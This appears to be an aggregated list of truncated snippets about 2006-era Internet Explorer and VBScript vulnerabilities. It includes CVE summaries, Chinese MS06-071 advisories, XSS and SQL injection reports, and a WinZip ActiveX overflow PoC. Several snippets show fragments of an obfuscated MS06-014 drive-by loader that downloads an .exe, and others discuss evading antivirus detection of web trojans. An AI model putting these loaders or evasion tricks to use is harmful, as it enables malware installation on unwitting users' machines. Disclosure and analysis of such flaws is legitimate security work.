CVE-2006-6596

HyperAccess 8.4 allows user-assisted remote attackers to execute arbitrary vbscript and commands via a session HAW file, which can be automatically opened using Internet Explorer...

Detecting MS06-0 1 4 vulnerabilities-vulnerability warning-the black bar safety net

html headtitledetecting MS06-0 1 4 vulnerabilities/title script language=VBScript on error resume next set zero = document. createElement"ob" &"ject" zero. setAttribute "cl" & "assid", "cl" & "sid:BD" & "96C556-65A3-11D0-983A-00C04" & "FC29E36" str3 = "Ad" & "odb. St" & "ream" set F = zero...

Microsoft XML核心服务XMLHTTP控件内存破坏漏洞（MS06-071）

Microsoft XML核心服务（MSXML）允许使用JScript、VBScript和Microsoft Visual Studio 6.0的用户构建可与其他符合XML 1.0标准的应用程序相互操作的XML应用。 在Microsoft XML Core Services的XMLHTTP 4.0...

Re: [Full-disclosure] ZDI-06-040: WinZip FileView ActiveX Control Unsafe Method Exposure Vulnerability

7245 correctly resolves this issue; standard stack overflow in WZFILEVIEW.FilePattern snatching EIP; PoC below; HTML HEAD TITLE/TITLE /HEAD BODY SCRIPT LANGUAGE="VBScript" !-- Sub WZFILEVIEWOnAfterItemAddItem WZFILEVIEW.FilePattern = "SMASHTHESTACKHERE" end sub -- /SCRIPT OBJECT ID="WZFILEVIEW"...

Microsoft XML核心服务XMLHTTP控件代码执行漏洞

Microsoft XML核心服务（MSXML）允许使用JScript、VBScript和Microsoft Visual Studio 6.0的用户构建可与其他符合XML 1.0标准的应用程序相互操作的XML应用。 在Microsoft XML Core Services 4.0的XMLHTTP 4.0 ActiveX控件中，setRequestHeader函数没有正确地处理HTTP请求，允许攻击者诱骗用户访问恶意的站点导致执行任意指令。 Microsoft XML Core Services 4.0 - Microsoft Windows XP SP2 - Microsoft...

blsXSS.txt

----------------------------------------------------------------------------------------- Found by: PrOtOn & digi7al64 Date: May 20th 2006 Critical Level: High Type: Multiple Cross Site Scripting XSS vunerabilities...

CVE-2006-4308

Multiple cross-site scripting XSS vulnerabilities in Blackboard Learning System 6, Blackboard Learning and Community Portal Suite 6.2.3.23, and Blackboard Vista 4 allow remote attackers to inject arbitrary Javascript, VBScript, or HTML via 1 data, 2 vbscript, and 3 malformed javascript URIs in...

To ms06014 talk page Trojan-free kill method-vulnerability warning-the black bar safety net

Net horsefree killmethods are generally two ways,one is the encryptionMicrosoft's own encode, or write your own encryption and decryption function better,another is to find the feature codecharacter or order. A friend said mesh mA is Ka bar kill,do not know the measures,now I ms06014, for...

To ms06014 talk about net horse free kill method-vulnerability warning-the black bar safety net

Net horsefree killmethods are generally two ways,one is the encryptionMicrosoft's own encode, or write your own encryption and decryption function better,another is to find the feature codecharacter or order. A friend said mesh mA is Ka bar kill,do not know the measures,now I ms06014, for...

MS06014 net horse of a modification of the method-vulnerability warning-the black bar safety net

MS06014 net horse of a modification of the method By the constant QQ: 5 4 5 4 4 4 3 Look at the original code script language="VBScript" on error resume next dl = "http://www.baidu.com/heng.exe" Set df = document. createElement"object" df. setAttribute "classid",...

UBlog Remote XSS Exploit

------------------------------------------------------------------ - UBlog Remote XSS Exploit - -= http://colander.altervista.org/advisory/UBlog.txt =- ------------------------------------------------------------------ -= UBlog 1.6 =- Omnipresent May 04, 2006 Vunerabilitys: ---------------- XSS...

CVE-2006-0830

The scripting engine in Internet Explorer allows remote attackers to cause a denial of service resource consumption and possibly execute arbitrary code via a web page that contains a recurrent call to an infinite loop in Javascript or VBscript, which consumes the stack, as demonstrated by resetti...

Design/Logic Flaw

The scripting engine in Internet Explorer allows remote attackers to cause a denial of service resource consumption and possibly execute arbitrary code via a web page that contains a recurrent call to an infinite loop in Javascript or VBscript, which consumes the stack, as demonstrated by resetti...

CVE-2006-0830

The scripting engine in Internet Explorer allows remote attackers to cause a denial of service resource consumption and possibly execute arbitrary code via a web page that contains a recurrent call to an infinite loop in Javascript or VBscript, which consumes the stack, as demonstrated by resetti...

CVE-2006-0669

Multiple SQL injection vulnerabilities in archive.asp in GA's Forum Light allow remote attackers to execute arbitrary SQL commands via the 1 Forum and 2 pages parameter. NOTE: SecurityTracker says that the vendor has disputed this issue, saying that GA Forum Light does not use an SQL database...

Sql injection

DISPUTED Multiple SQL injection vulnerabilities in archive.asp in GA's Forum Light allow remote attackers to execute arbitrary SQL commands via the 1 Forum and 2 pages parameter. NOTE: SecurityTracker says that the vendor has disputed this issue, saying that GA Forum Light does not use an SQL...

CVE-2006-0669

Multiple SQL injection vulnerabilities in archive.asp in GA's Forum Light allow remote attackers to execute arbitrary SQL commands via the 1 Forum and 2 pages parameter. NOTE: SecurityTracker says that the vendor has disputed this issue, saying that GA Forum Light does not use an SQL database...

PT-2006-1725 · Ga · Ga'S Forum Light

Name of the Vulnerable Software and Affected Versions: GA's Forum Light affected versions not specified Description: The issue allows remote attackers to execute arbitrary SQL commands via the Forum and pages parameters in the archive.asp file. However, the vendor has disputed this issue, stating...

Design/Logic Flaw

jscript.dll in Microsoft Internet Explorer 6.0 SP1 and earlier allows remote attackers to cause a denial of service application crash via a Shockwave Flash object that contains ActionScript code that calls VBScript, which in turn calls the Javascript document.write function, which triggers a null...

CVE-2006-0585

jscript.dll in Microsoft Internet Explorer 6.0 SP1 and earlier allows remote attackers to cause a denial of service application crash via a Shockwave Flash object that contains ActionScript code that calls VBScript, which in turn calls the Javascript document.write function, which triggers a null...